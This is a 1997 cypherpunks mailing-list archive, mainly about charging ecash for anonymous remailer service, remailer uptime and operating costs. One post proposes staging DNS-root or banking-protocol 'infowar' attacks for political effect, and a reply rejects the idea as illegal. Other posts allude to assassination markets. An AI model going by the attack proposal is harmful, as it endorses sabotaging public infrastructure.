>to "pay" for the email you send.  This goes against the general model
>of the internet.

We are solving a different problem.

The reason I want to attach ecash is to get good reliable service and
to encourage many other people to offer good high quality remailing
services.  Let's a remailer operator can make $200/month by handling
messages at 25 cents each.  (That's 800 messages a month, hardly
overwhelming.)

You might not go public on that much revenue, but you might use your
desktop machine as a remailer.

>Unlike the phone company, the net peers freely with no
>interconnection charges, so inter lata charges do not have to be
>tracked and collected.  This allows for a flat rate pricing scheme.
>For remailers, this flat rate is generally zero dollars, i.e. free.

Free usually doesn't work very well, and it isn't working well now.

Use of ecash in the remailer network means there is no tracking and
collecting or a final bill.  This would somewhat defeat the purpose of
using remailers, would it not?

>There are remailers of various types who offer services for a charge
>of some sort.  This is generally a flat rate fee, either per month,
>or per year.

Really?  How does this work?  (And which remailers offer these services?)

If implemented naively, each message must carry some sort of
identifier.  Even if the owner of the account isn't known, all of his
messages are easily linked.  This is undesirable.

A more sophisticated implementation would use something like blinded
credentials.  But, that's the functionality ecash provides anwyay,
right now, this day, without any work.  So why not leverage off it and
take advantage of the payment features as well?

>There is likely no desire to price on a per item basis.  If there
>were, I would think it would be in the millicent range of pricing.

Given the existing infrastructure, per item pricing is the easiest to
implement while retaining full anonymity.  Digicash and Mark Twain
Bank already did the hard work!  They already have a bank set up!

All we have to do is make use of it.

As for millicent pricing, we'll see.  Once things get rolling, the
price should fall below a quarter.  But it will have to be high enough
to make running a remailer worth the trouble.

There also seems to be an idea that there is some big R&D investment
in adapting a remailer to use e-cash.  There isn't.  You have to open
an account at Mark Twain Bank.  You have to figure out how to call the
Digicash executable from within a Perl script.  (Since nobody has
corrected me on this, I am becoming confident that it is really as
easy as I think.)  Why not try it?  Worst case, you lose a little
time.  Best case, you get rich and the remailer network takes off.

Here's another reason why this is important to cypherpunks.  We would
really like to see wider use of e-cash.  It is a great product and it
respects our privacy.

The way ecash will catch on is that a small group of people will start
using it regularly for services and trade within their loosely defined
community.  Once things start rolling, more people and services can be
added.  Once things catch on, they will snowball.

The place to start is in this group with the remailers.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sun, 28 Sep 1997 10:21:10 +0800
To: Blanc <tcmay@got.net>
Subject: Re: write up AP for FC++
Message-ID: <199709280149.SAA26347@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
>>I'm now mildly amused that Bell is being seen as the inventor of anonymous
>>and untraceable murder markets, with clueless journalists seeking
>>information on his discovery. But, hey, better he rot in jail than me.

At 04:27 PM 8/18/97 -0700, Blanc wrote:
> A presentation from you at FC98 would remind everyone of your own initial
> writings on the subject and provide you with due credit (better credit than
> a jail/rotting sentence).   I can't think of anyone else who would be more
> qualified for this.

Freedom of speech is protected by nothing stronger than the cluelessness
of our masters.

If you publish your idea in appropriate forums, you can get away with it.

If you go from forum to forum singing your idea like a broken record, 
and flogging it like soap, you will probably go to jail.

I see no point in explaining our ideas so thoroughly and repeatedly
that even cops and politicians start to understand them.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 28 Sep 1997 07:29:13 +0800
To: cypherpunks@cyberpass.net
Subject: Remailer Ecash Bounty
Message-ID: <86bf420d7b91c105780c596aac21863f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I, Monty Cantsin, will pay fifty dollars to the first operator of a
remailer on Raph's list to get a machine up and running which accepts
ecash as payment to forward a message.

Offer expires October 27, 1997 C.E.

Disputes are to be settled by Tim May.  If Mr. May declines to
participate, Monty Cantsin will decide.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 28 Sep 1997 07:29:30 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Digital Postage (fwd)
Message-ID: <32a47212ab68bda3923a472826c01e98@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate wrote:
>[Tim May wrote: ed.]
>> Some will remail for some form of digital postage. Some will charge too little, some too much.
>> Some will adjust their prices based on market/customer reactions. And so on.
>
>And there are a couple of problems with this:
>
> -  it relies on a mechanism not currently in place to interface with
>    other more traditional financial institutions. Which I might add
>    don't look upon this as the most trustworthy mechanism.

Ecash is in place right now.

> -  how do you charge for the postage, per submission? What happens when
>    I want to send 10,000 parties the email. Do I still pay the digi-postage
>    equivalent of $.35? Or do I pay $350.00?

This is easily worked out between the remailer operator and the
customer.  Were I running a remailer, I would charge $350.00.  As a
customer, I would not see this as unreasonable.

>    What about intermediate remailers and their desire to get a cut
>    of the pie?

Each hop should charge, of course.  They are all providing the same
service.

>I suspect that anon remailers will operate by something similar to
>ISP's where when the account is setup some fee is paid for use and
>not on a use by use based fee. The problem with that is it creates a
>'concrete' link between the party desiring anonymity and the remailer
>operator that may be exploited in some (most? all?) cases to break
>that anonymity.

The way to break the concrete link is with blinded credentials.  Of
course, ecash already provides this feature without the hassle of
opening an account with a remailer operator, writing and deploying new
software, etc. etc.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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k8Bv5vOUYKvxdEdVF9xSos7d8VvPgzWX+err1gtrZqVux4/nVg5EFfE/NghpGPVp
2pBY+Vq3iPdE6kUR6Qff7NJHtHClXUyHg+Ya9tyEDkGl+SuYz+JWMw==
=28IQ
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 28 Sep 1997 08:03:30 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
Message-ID: <5b2ff18d32f6e69b9daafc8470b65133@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert A. Costner wrote:
>>Also, by my reading of the "uptime" statistic in Raph's remailer
>>chart, a reply block is not going to be very reliable for receiving
>>mail.
>
>The Redneck remailer, for instance, has a 99+% uptime rate.  The
>reason for this being high is that it is run under a business model.
>The connectivity basically cannot go down.  There has only been 23
>minutes of connectivity downtime in the last year.  Redneck is run on
>a business quality network with multiple backbone feeds.  But things
>break down after that.  Redneck also runs on an underpowered 486 with
>no "hotfix" backup machine.  It is not considered to be a mission
>critical piece of equipment.  I might notice Redneck have a problem
>at 1:00 am, but it can wait until in the morning to get fixed.
>Situations like this, combined with software upgrades account for
>downtime.

Thank you for this detailed description.

One more question: When redneck is down, do other remailers discard
their mail if they cannot connect to it?

If this is the case, it would seem to be a serious design flaw,
probably prompted by the desire to save disk space.  A quarter per
message would probably cover the cost.

Another general comment on remailer statistics: 99+% uptime sounds
good, but really it isn't.  For some reason, we are accustomed to the
idea that remailers should lose messages.  Well, they shouldn't.  A
remailer is just electronic mail with a few extra features and
electronic mail is exceptionally reliable.

According to Raph, redneck has an uptime of 99.83%.  By my
understanding, this means for every 1000 messages handled, redneck
loses 17.  That's actually pretty high, especially if it's your
message that gets lost.

I do not mean to pick on redneck in particular, or, really, any of the
remailers.  But where the remailer network stands right now, it cannot
be used for everyday mail which cuts down its usage quite a bit and
makes it a lot harder to build nifty things on top of it like reply
block systems.

>This is similar to the AOL effect.  It is often hard to have respect
>for an unknown poster from AOL.  The remailer at EFGA is new.  I've
>come to realize that this natural hostility towards a remailer is a
>good reason to put the remailer on a separate domain.  We might do
>this.

Ideally the domain would be shared by other non-anonymous users, but
hostility would probably be reduced even if the domain were something
like "guest.efga.org", even if many people knew that really meant
"anonymous".

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNC2EIJaWtjSmRH/5AQESzQf+NzGRBRjoYL7mQl9q50VsphcnkgQiq1wR
XW+UKjrCokfW/Bwt6vMKKJco9cquZiuOkISoCX9+JZlhJkm2l5YxswUcrxaaVNpr
T4w1aVQGzcNSDVq3oUwfFiG29S4DQaKV6HD+hz9ffS8fCMtyoA4wkFgLLALqxJpE
MsHPQoI2vZtAU7Ht8HgFg2dQsJqoYDAWp8Un9CFnWNYECQ2yPZNVvbiQ7jlmplP6
IrOBQ9E5dk+gaAq4yPfoWD0GTAjBIIaaLMbh+rg+0oUe9LaK0Vl/kIbHx9DvuRN+
0IbxUy5kwGDhBhWLznDo0B19Xl5QQdj65qBp3TmZqqtQC2MCpeynFA==
=2Oiw
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Sun, 28 Sep 1997 08:41:18 +0800
To: cypherpunks@ssz.com
Subject: Re: Digital Postage (fwd)
Message-ID: <970927202108_-295887685@emout10.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



>>If remailers are going to work as a business we can't turn our back on
traditional payment mechanisms. The problem, as I see it, is that there is
no clear mechanism for me to write a normal check and have that turn
into a anon account easily without involving 3rd parties and their
concommittent extra costs - further increasing the end-user cost to do
business. There better be a reason or they won't pay for long.>>

I'm probably not thinking right Jim -- but what if I bought a postal
money order, or such, with cash... sent it too you... along with
an encyrpted email that referred to the serial number of the
money order... then, you uncyphered my email... to verify payment, and
recyphered my account info to me...
Would something like that work to establish a paid-up account?

Best to you... LarryM
pgp pubkey@ http://www.jetlink.net/~aargh/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sun, 28 Sep 1997 10:29:36 +0800
To: "James A. Donald" <tcmay@got.net>
Subject: Re: write up AP for FC++
In-Reply-To: <199709280149.SAA26347@proxy3.ba.best.com>
Message-ID: <3.0.3.32.19970927210451.006b202c@schloss.li>
MIME-Version: 1.0
Content-Type: text/plain



At 06:49 PM 9/27/97 -0700, James A. Donald wrote:
>Tim May wrote:
>>>I'm now mildly amused that Bell is being seen as the inventor of anonymous
>>>and untraceable murder markets, with clueless journalists seeking
>>>information on his discovery. But, hey, better he rot in jail than me.
>
>At 04:27 PM 8/18/97 -0700, Blanc wrote:
>> A presentation from you at FC98 would remind everyone of your own initial
>> writings on the subject and provide you with due credit (better credit than
>> a jail/rotting sentence).   I can't think of anyone else who would be more
>> qualified for this.
>
>Freedom of speech is protected by nothing stronger than the cluelessness
>of our masters.
>
>If you publish your idea in appropriate forums, you can get away with it.
>
>If you go from forum to forum singing your idea like a broken record, 
>and flogging it like soap, you will probably go to jail.
>
>I see no point in explaining our ideas so thoroughly and repeatedly
>that even cops and politicians start to understand them.


Try to keep in mind that Bell went to jail for crimes only semi-related to
his AP ranting.

The AP ranting is just the way he managed to attract attention.

Moral:  If you're going to rant about AP you better be squeeky clean first.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 28 Sep 1997 09:51:47 +0800
To: cypherpunks@toad.com
Subject: FBI Technical Assistance Draft
Message-ID: <1.5.4.32.19970928012759.008da630@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Willis Ware we offer the full text of the
FBI's August 28 "technical assistance draft" for encryption
legislation, a few paragraphs of which Declan posted here:

   http://jya.com/fbi-tad-s909.htm  (57K)

Although prepared to revise McCain/Kerrey's S 909 to satisfy 
law enforcement, it's the source for the various amendments 
to SAFE which copied much of it unchanged, and some portions
not yet lifted may foretell what's coming.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 28 Sep 1997 10:10:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
In-Reply-To: <5b2ff18d32f6e69b9daafc8470b65133@anon.efga.org>
Message-ID: <3.0.3.32.19970927215256.032fa804@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 08:03 PM 9/27/97 -0400, Anonymous (Monty Cantsin) wrote:
>One more question: When redneck is down, do other remailers discard
>their mail if they cannot connect to it?
...
>According to Raph, redneck has an uptime of 99.83%.  By my
>understanding, this means for every 1000 messages handled, redneck
>loses 17.

For a variety of reasons, mail is never "lost" to Redneck because of
downtime.  Only if the Redneck remailer is unreachable for a period of say
five days (it really depends on the sender's ISP) will a message get lost.
Then it will be attempted to be returned to the sender, by the Sender's
ISP's machine, not redneck.  In a case where Redneck is too busy too often,
or for some other reason, the sender's ISP's equipment will resend the
message to Redneck dozens or hundreds of times until the message goes
through.  The downtime statistic is more an indication of when email has to
be sent more than once to get to Redneck.  Apparently this is 17 out of
1,000 messages on the average.  To be honest, I don't really know how the
stats program works, I'm just assuming this is what is being checked.

>For some reason, we are accustomed to the
>idea that remailers should lose messages.

I'm not sure what you mean here.  A properly run remailer doesn't lose
messages.  There may be criteria that triggers a remailer to discard a
message, but a message never gets lost.

Did I open up a can of worms by saying that?  Policies will vary from
remailer to remailer.  Some items that might get discarded (or might not)
would be things such as 

  Mail from cyberpromo.com
  A 300MB email bomb
  6,000 identical messages to the same address
  A message to a particular newsgroup
  Mail to someone who has requested to be blocked

Remailers support free speech, but some mild restraints are placed to aid
in preventing abuse.  If you are talking about setting up a remailer as a
business then as a business there would be policies of what did or did not
go through.

You asked earlier which remailers charge for services.  I'm really not
sure.  Check www.cyberpass.com.  I believe they offer anonymous accounts
and accept Ecash.  


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phillip Hallam-Baker <hallam@ai.mit.edu>
Date: Sun, 28 Sep 1997 13:01:40 +0800
To: "'Adam Back'" <holovacs@idt.net>
Subject: RE: engineering infowar disasters (was Re: How the FBI/NSA forces can further twist SAFE)
Message-ID: <01BCCBA7.0FB66580.hallam@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Saturday, September 27, 1997 7:57 PM, Adam Back [SMTP:aba@dcs.ex.ac.uk] wrote:

> Reckon cypherpunks can knock up a few of those.
> 
> So lets here some ideas for good photogenic infowar attacks which show
> that the lack of crypto is dangerous.

I suggest unless people want to hand the FBI an excuse
to harass everyone that they don't enter into this discussion.

There are plenty of conspiracy laws on the book. Infrastructure
attacks are illegal and exactly the kind of thing that gets long
jail sentences.

More to the point it is completely counterproductive. Even now 
there is probably some FBI junior waving Back's message in
the air as if he has won the pools, probable cause for wiretaps
I would say.

I suspect I'm not the only person on the list who is responsible 
for a service that is a regular hacker target. If I catch someone I 
really don't care what the motive for the attack was. I'm going to
look to make that person serve jail time.


		Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>"Attila T. Hun" <attila@hun.org>
Date: Sun, 28 Sep 1997 08:16:05 +0800
To: Sandy Sandfort <cypherpunks@cyberpass.net>
Subject: Re: PARTY!
In-Reply-To: <Pine.SUN.3.91.970926233318.18816B-100000@crl4.crl.com>
Message-ID: <199709280010.SAA16517@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    you forgot one important event for 18 Oct:

        my #3 ex-wife's birthday in 1952
        
        in one of her former lives she was Anne Bolyn

        unfortunately, Henry VIII had privileges I do not.

 --
 "When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me! " 
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNC2fqb04kQrCC2kFAQE2kQP8DwvOjzF6dtgmVkHjLXTVVghlqQx8kr7c
RwfXO9ZyAFO4aSc9p8rQXB7+kkxtZ1b14eFUUSsmYnmmAxcTDNUvlktHjGh4GCSM
i+bTIzvKrZiAXgezAYzTfGmTQ9dli7dMDnSWZNi1HCgPcjx8w8/wc8dkZGoYXxcp
X7Nrk+nJHS8=
=S2sM
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 28 Sep 1997 08:31:15 +0800
To: holovacs@idt.net
Subject: engineering infowar disasters (was Re: How the FBI/NSA forces can further twist SAFE)
In-Reply-To: <199709262107.RAA17847@u1.farm.idt.net>
Message-ID: <199709272356.AAA00422@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jay Holovacs <holovacs@idt.net> writes:
> [dangers of horseman spin or reichstag fire tatics from Free & gang]
> 
> On the other hand a publicized security disaster or "infowar" attack
> could spin things in the other direction.

Reckon cypherpunks can knock up a few of those.

So lets here some ideas for good photogenic infowar attacks which show
that the lack of crypto is dangerous.

Stuff internet protocols at low level (say DNS) due to lack of crypto
and too centralised design?  We could do that I think.  The guy from
alternic rigged DNS root to point at him, we could rig it to point to
zip.

In the clear or poorly ciphered banking protocols (say private leased
lines).

etc.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 28 Sep 1997 08:31:49 +0800
To: anon@anon.efga.org
Subject: Re: Remailers and ecash
In-Reply-To: <d9ad723431a59140b039a71c9cecc923@anon.efga.org>
Message-ID: <199709280019.BAA00445@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Monty Cantsin writes:
> Just out of a curiousity, why is it that no remailers accept ecash?
> (This is not a jibe at remailer operators or authors of remailer
> software.  I am really curious if this is a "didn't get to it yet"
> sort of thing, or if there's something hard about it.)

I think someone did write the code.  I think it was Sameer, and I
think he ran a remailer with this feature for a while.  I expect the
code is on the berkeley ftp site somewhere.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sun, 28 Sep 1997 14:36:25 +0800
To: tcmay@got.net (Tim May)
Subject: Re: D.A.R.E.--Drugs Are Reality Enhancers
In-Reply-To: <v03102800b052f863643c@[207.167.93.63]>
Message-ID: <199709280621.BAA05069@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> (in large red letters)   D.A.R.E.
> 
>                             I turned in my parents
>                                and all I got was this
>                                     stupid t-shirt

I wonder what is a good place -- in realspace of through the internet --
to look for funny bumperstickers or t shirts of similar kind.

Thank you.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 28 Sep 1997 16:39:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: write up AP for FC++
Message-ID: <3.0.32.19970928013120.006b0120@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



More than a month later, James A. Donald responded:

>I see no point in explaining our ideas so thoroughly and repeatedly
>that even cops and politicians start to understand them.
.........................................................


I dont' think where you publish your idea makes as much difference as in
how you present it, based on what attitude and inclinations you reveal
about your motives for the future.

If you are having an abstract discussion which explores the ramifications
of what a new technology makes possible - not only for the good, but for
the bad - it is surely distinguishable from a discussion on who exactly you
dislike and how precisely you are going to hurt them badly with your new,
advanced weapon-tools.

One type of discussion could reveal your perspective and the scope of your
ability to follow ideas to their logical conclusions.  A different
discussion, conversely, could reveal your psychological problems and the
malfunctioning of a disturbed imagination.

Anyone who studies ideas seriously will want to explain their discoveries
to colleagues; it's almost a given that this is so.   I wasn't suggesting
to Tim that he reiterate himself to clueless public authorities for the
purpose of elevating their understanding (although it is a fact that Tim
very often has explained, again and again, the same ideas which he has
posted in the past, until lately he has arrived at the point of merely
referencing himself and his previous contributions to the list.).    I was
making reference to the mistake certain people are making, as he mentioned,
of attributing to Jim Bell the origin of the AP ideas, when Tim's own
extensive exploration of this subject preceded Jim's epiphanies by years.
I was encouraging Tim that presenting his ideas to a physical gathering of
people who are of the mind to consider the impact of these possibilities
upon their business enterprises, would contribute to clarifying the
situation (to some degree - I can't say how or what kind of effect it would
actually have, obviously).

But anyway, James, don't you think it is better to live in an atmosphere of
people who have a clue, rather than otherwise, regardless of their position
in this contradictory world?   

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Sun, 28 Sep 1997 10:01:33 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Remailer latencies
In-Reply-To: <eb2d15eafd66ee1e5926116f2e88302f@anon.efga.org>
Message-ID: <Pine.LNX.3.96.970928011535.25989A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Sat, 27 Sep 1997, Anonymous (nee Monty Cantsin) wrote:

> Good point.  Also, using a dialup gives you another layer of physical
> privacy.  You could even move the machine around from time to time.
It has been :-)

> What is on your machine that has to be deleted?  I suppose you'd want
> to power cycle it since the private key (or a passphrase) will be
> sitting in memory.  Is there anything on the disk that must be
> deleted?
I would feel better, and I'm sure a lot of others would too, if I had the
time to safely wipe the remailer's private key (in addition to cleaning the
passphrase from memory). Ditto for my personal keys :)

> More operations questions: according to Raph's chart, your machine has
> an "uptime" of 99.64%.  I assume that means Raph's experiments showed
> that 36 messages out of 1000 disappeared.  Did I assume correctly?
More or less. 

> If so, what accounts for these message losses?  I would expect that if
> your machine was down, even for a couple of days, that the incoming
> messages would be queued up on other machines and none would be lost.
It's more like "of the last 1000 messages sent, 9964 of 'em have made it back
to me."  Because of the way I have to have things set up, there are almost
always a few messages in transit. I have, very occasionally, actually seen my
remailer listed at 100%; somewhere over 99% is far more common.

> BTW, my intention is not be critical of your volunteer work running a
> remailer, but to develop an understanding of the issues involved.
Excellent. You certainly can't be faulted for that :)

> Even a response like "the machine was down for three days because I
> was in Las Vegas partying" is useful because it would suggest that
> remailer operators are not adequately compensated for their work.
I thought that much was a given.  AFAIK nobody's making any money anywhere
off the remailer net; it's a labour of love.

To contribute to another thread at the same time: there is a
semi-experimental hack for Mixmaster that parses a message for hashcash.

IMO, it's unlikely that hashcash, Digicash, or anything else is likely to
become the preeminent modus operandi for remailer operators anytime soon, but
it's likely to happen eventually simply because it's possible, so someone
will do it. For me, the remailer doesn't consume any exceptional new
resources, so the added cost to me of running a remailer is very nearly zero.
(Those are mostly the "administrative" costs of dealing with complaints,
adding people to the blocklist, and cleaning up after the occasional spam
bomb.)  Others, with different circumstances, may be more eager to pursue a
profit-making solution.

dave (bureau42 admin)

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv

iQA/AwUBNC20Ga6m0j5YvamrEQILGQCgzBQzXwBdA8sjWZ9uzUSetlr8OMMAn0ls
KWUDo94R/eRCyMLWof2uonXu
=EG5C
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 28 Sep 1997 08:03:30 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer Attack (fwd)
Message-ID: <199709272343.BAA13628@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



See also the CDA.  Yes, parts are still in effect, including provisions giving
immunity to interactive services if material was provided by someone
else.  Conceivably this could apply to remailers, if they could call themselves
interactive services.  Certainly the material they send was not provided by
them.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sun, 28 Sep 1997 08:52:03 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
In-Reply-To: <Pine.LNX.3.91.970927060440.1941B-100000@fatmans.demon.co.uk>
Message-ID: <199709280025.CAA20106@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Paul "Fatman" Bradley writes :

> I`ll be off the list again for a while, and this address may well be 
> closed, not sure yet. 

We didn't miss you, you going reduced the noise level.  Glad to see
you're going again.

> If anyone needs to get me +44 (0)410 933621 is always a good one to
> try,

I can't imagine that anyone on this list will be calling you?
Delusions of self importance?

> I should be back on the list within a few weeks though.

Don't hurry back!

> Bye for now.

bye!

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sun, 28 Sep 1997 08:46:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <8f6805d079d5185626e98fff7b367aea@anon.efga.org>
Message-ID: <Pine.BSF.3.96.970928021304.2383A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 27 Sep 1997, Anonymous wrote:
> 
> There also seems to be an idea that there is some big R&D investment
> in adapting a remailer to use e-cash.  There isn't.  You have to open
> an account at Mark Twain Bank.  You have to figure out how to call the
> Digicash executable from within a Perl script.  (Since nobody has
> corrected me on this, I am becoming confident that it is really as
> easy as I think.)  Why not try it?  Worst case, you lose a little
> time.  Best case, you get rich and the remailer network takes off.

There are a number of technical reasons why you really don't want to call
the standard commandline Ecash client from a script to add/retrieve Ecash
from Mixmaster remailer packets. The biggest problem being that you can
fit only a few coins into the packet header as specified. There is
no feature in the standard Ecash client that allows coin level
control. DigiCash firmly resited and continues to resist adding it. A
$0.25 payment could be paid as three coins or as 25 coins. The user has no
control over this. For this and a number of other reasons, DigiCash's
software is unsuitable for the task.

You certainly could use DigiCash's software with Type 1 remailers. Though
why anybody would want to pay for a service as insecure as Type 1
remailers is beyond me. Type 1 remailers should be removed from service.

Furthermore, the barrier to entry is too high for the consumer. All these
problems are about to be solved by third party software. Perhaps then we
will see for-pay remailers.



 -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gmd@earthling.net
Date: Sun, 28 Sep 1997 09:20:13 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199709280051.CAA09931@mail.force9.net>
MIME-Version: 1.0
Content-Type: text/plain




The empire never ended. The black iron prison is still with us.

Aramchek.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 28 Sep 1997 15:15:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <8f6805d079d5185626e98fff7b367aea@anon.efga.org>
Message-ID: <3.0.3.32.19970928031127.030c67e4@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 06:38 PM 9/27/97 -0400, Anonymous (Monty Cantsin) wrote:
>The reason I want to attach ecash is to get good reliable service and
>to encourage many other people to offer good high quality remailing
>services.  Let's a remailer operator can make $200/month by handling
>messages at 25 cents each.  (That's 800 messages a month, hardly
>overwhelming.)

Let's assume you want to setup a remailer for profit.  You could use a
spare machine on your desktop and share a phone line part time by using a
PPP connection.  But I take it this is not what you are suggesting.  I'm
assuming you want a commercial quality service.  You'll need a machine,
colocation space, UPS power, a router to separate from the rest of the
internal network, a  phone line for complaints and administration, a domain
name, and a person who can do programming, server administration, and
administrative work, perhaps 20 hours per week.

	Machine	$2,500
	Router		   800
	Domain		   100
	              ------
Startup costs        $3,400

	Colocation	$  700
	Phone line	    45
	Salary		 3,750
                     ------
Recurring costs	$4,495 x 12 months =	$53,940
Fixed costs					$ 3,400
						
This makes an estimated business cost of $57,340 for one year, or $4,778
per month, or about $159 per day.  based on 4,000 messages per day that
gives a base cost per message of less than 4 cents.  Actual operation costs
would be higher, but even at triple that price, if there is a demand for
the service (which I have my doubts) the 25 cent price would make a profit.

>Free usually doesn't work very well, and it isn't working well now.

What about the free system does not seem to work well?  A free remailer's
lifespan even if shut down after a few months or a couple of years does not
seem to be to much different from that of any other startup business.
4,000 messages per day on the cracker remailer is not based on the
machine's capacity, but is based on actual total worldwide demand today.
(at least this is about the highest per day count that cracker has had)
I'd be interested in how you think any full time remailer like the Cracker
service is inadequate and how making it a pay service would resolve this.

>Given the existing infrastructure, per item pricing is the easiest to
>implement while retaining full anonymity.  Digicash and Mark Twain
>Bank already did the hard work!  They already have a bank set up!

I'll admit that I really have not used DigiCash.  Maybe someone here can
tell me some experiences with it.  I found two problems.  Last I checked,
the bank account reuired to have digicash had a service fee of about $10
per month.  Secondly, when I participated in the cybercash trials, I
changed ISPs and was never able to get my money transferred from the old
email account to the new one.  Their customer service wasn't able to help
